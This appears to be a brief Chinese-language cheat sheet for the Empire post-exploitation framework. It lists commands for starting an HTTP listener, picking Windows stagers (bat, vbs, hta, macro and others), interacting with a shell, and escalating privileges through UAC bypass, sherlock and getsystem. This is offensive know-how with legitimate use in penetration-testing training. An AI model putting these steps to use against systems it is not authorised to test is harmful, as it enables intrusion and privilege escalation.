基操
可以用tab补全查看指令
uselistener 使用监听器
usemodule 使用模块
usestager 使用stager
main 回到主界面
back 返回上一级
生成监听器:
(Empire: listeners) > uselistener http
(Empire: listeners/http) > info
(Empire: listeners/http) >set Name xxx
(Empire: listeners/http) >set Port xxx
(Empire: listeners/http) > execute
[*] Starting listener ‘parrot’
- Serving Flask app “http” (lazy loading)
- Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead. - Debug mode: off
[+] Listener successfully started!
1 | Name --> 监听器的名字 |
生成stager:

multi –> linux
osx –> mac
windows
windows常用:
windows/launcher_bat
windows/launcher_vbs
windows/launcher_lnk
windows/dll
windows/hta
windows/launcher_xml
windows/macro
windows/wmic
1 | (Empire: listeners) > usestager windows/launcher_bat |
获取到shell
1 | interact --> 进入到交互模式 |
提权
在empire中, 拥有管理员权限, username前面会多一个* ,也就是提权成功了
指令: bypassuac –> bypassuac_eventvwr
searchmodule bypassuac
–> ask --> uac提权
在interact中, 可以用run去执行指令
查找本地提权漏洞:
powershell/privesc/sherlock
1 | Title : User Mode to Ring (KiTrap0D) |
privesc/getsystem* –> 相当于msf中的getsystem